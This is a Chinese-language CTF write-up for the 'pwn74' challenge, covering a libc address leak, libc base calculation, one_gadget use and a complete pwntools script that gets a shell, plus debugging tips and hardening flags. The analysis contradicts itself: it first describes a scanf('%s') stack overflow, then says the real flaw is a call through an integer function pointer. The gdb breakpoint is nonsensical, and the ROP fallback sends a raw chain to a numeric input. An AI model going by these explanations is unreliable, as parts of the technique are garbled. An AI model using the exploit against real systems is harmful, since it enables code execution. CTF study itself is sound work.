1. CTF PWN74栈溢出漏洞分析与利用
在CTF比赛中,PWN题目常常考察选手对二进制漏洞的理解和利用能力。这道pwn74题目展示了一个经典的栈溢出漏洞利用场景,通过泄露libc函数地址、计算基址,最终实现任意代码执行。作为安全研究员,我们需要深入理解每个环节的技术原理和实现细节。
1.1 漏洞代码分析
题目给出的关键代码片段如下:
c复制char buf[16];
scanf("%s", buf);
这段代码存在典型的栈溢出漏洞。buf被定义为16字节的字符数组,但scanf使用%s格式符读取输入时,没有对输入长度进行限制。当用户输入超过16字节时,多余的数据就会覆盖栈上的其他内容,包括返回地址等重要数据。
注意:在实际开发中,绝对禁止使用
scanf("%s", buf)这种危险写法。安全的做法是使用scanf("%15s", buf)限制最大长度,或者改用更安全的fgets(buf, sizeof(buf), stdin)。
1.2 漏洞利用思路
完整的漏洞利用流程分为以下几个关键步骤:
- 泄露libc函数地址(如printf)以计算libc基址
- 计算目标函数(system或one_gadget)的实际地址
- 构造payload覆盖返回地址
- 触发漏洞执行任意代码
2. 地址泄露与libc基址计算
2.1 获取printf函数地址
题目开始时打印了printf函数的真实地址,这是现代CTF题目的常见设置。在开启了ASLR(地址空间布局随机化)的系统上,虽然libc的加载基址每次运行都会变化,但函数在libc中的相对偏移是固定的。
假设程序输出了:
code复制printf address: 0x7ffff7e3d700
2.2 计算libc基址
要计算libc基址,我们需要知道printf在libc中的偏移量。这个值可以通过以下命令获取:
bash复制readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep printf
假设输出显示printf的偏移是0x64e70,那么libc基址的计算公式为:
code复制libc_base = printf_address - printf_offset
= 0x7ffff7e3d700 - 0x64e70
= 0x7ffff7dd9000
2.3 获取其他关键函数地址
有了libc基址,我们就可以计算任意libc函数的实际地址。例如:
- system函数:
python复制system_addr = libc_base + libc.symbols['system']
- one_gadget:
bash复制one_gadget /lib/x86_64-linux-gnu/libc.so.6
假设找到一个可用的one_gadget偏移是0x10a2fc,那么其实际地址为:
code复制one_gadget_addr = libc_base + 0x10a2fc
3. 栈溢出漏洞利用实现
3.1 理解题目中的输入处理
题目中使用了以下代码读取输入:
c复制long v4[2];
scanf("%ld", &v4[0]);
v4[1] = v4[0];
这段代码本身不会导致栈溢出,因为它严格限制了输入类型和长度(每次只读取一个long int,8字节)。真正的漏洞在于后面将v4[0]的值作为函数指针执行:
c复制((void (*)())v4[0])();
这意味着如果我们能控制v4[0]的值,就能让程序跳转到任意地址执行。
3.2 构造利用payload
完整的利用流程如下:
- 接收程序输出的printf地址
- 计算libc基址和one_gadget地址
- 将one_gadget地址作为输入传递给程序
- 程序执行我们的one_gadget,获取shell
3.3 使用pwntools编写利用脚本
以下是完整的利用脚本示例:
python复制from pwn import *
context.log_level = 'debug'
# 本地测试或远程连接
if args.REMOTE:
p = remote('pwn.challenge.ctf.show', 12345)
else:
p = process('./pwn74')
# 1. 获取printf地址
p.recvuntil('printf address: ')
printf_addr = int(p.recvline(), 16)
log.success(f"printf address: {hex(printf_addr)}")
# 2. 计算libc基址和one_gadget地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # 替换为目标libc
libc_base = printf_addr - libc.symbols['printf']
one_gadget = libc_base + 0x10a2fc # 替换为实际的one_gadget偏移
log.success(f"libc base: {hex(libc_base)}")
log.success(f"one_gadget: {hex(one_gadget)}")
# 3. 发送one_gadget地址
p.sendline(str(one_gadget).encode())
# 4. 获取shell
p.interactive()
4. 常见问题与调试技巧
4.1 one_gadget约束条件不满足
one_gadget虽然方便,但通常有特定的寄存器或栈条件要求。如果直接使用失败,可以尝试:
- 查找其他one_gadget:
bash复制one_gadget /lib/x86_64-linux-gnu/libc.so.6
- 使用system("/bin/sh")替代:
python复制binsh = next(libc.search(b'/bin/sh'))
rop = ROP(libc)
rop.call(libc.symbols['system'], [binsh])
p.sendline(rop.chain())
4.2 本地成功但远程失败
可能原因包括:
-
使用的libc版本不同
- 解决方案:使用
ldd命令获取远程libc路径,下载相同的libc文件
- 解决方案:使用
-
远程环境有额外保护
- 检查是否开启了FORTIFY_SOURCE、stack canary等
4.3 调试技巧
- 使用gdb附加调试:
bash复制gdb -p $(pidof pwn74)
- 关键断点设置:
gdb复制b *((void (*)())v4[0]) # 在跳转前中断
- 查看栈布局:
gdb复制x/20xg $rsp
5. 防护措施与安全建议
5.1 开发者防护
-
避免使用危险的输入函数:
- 用
fgets替代scanf - 使用
snprintf替代sprintf
- 用
-
启用安全编译选项:
bash复制gcc -fstack-protector-all -pie -fPIE -D_FORTIFY_SOURCE=2 -O2
- 使用现代防护技术:
- ASLR(系统级)
- DEP/NX(数据执行保护)
- Stack Canary(栈保护)
5.2 CTF选手技巧
- 快速获取libc版本:
bash复制strings libc.so.6 | grep GNU
- 查找有用的gadget:
bash复制ROPgadget --binary ./pwn74
- 自动化利用框架:
- 使用pwntools的ROP模块构建复杂利用链
- 尝试angr等符号执行工具解决复杂题目
在实际漏洞利用过程中,最重要的是理解每一步的原理,而不仅仅是复制利用脚本。通过这道题目,我们深入学习了地址泄露、libc基址计算和栈溢出利用的技术细节,这些知识在二进制安全研究和CTF比赛中都非常实用。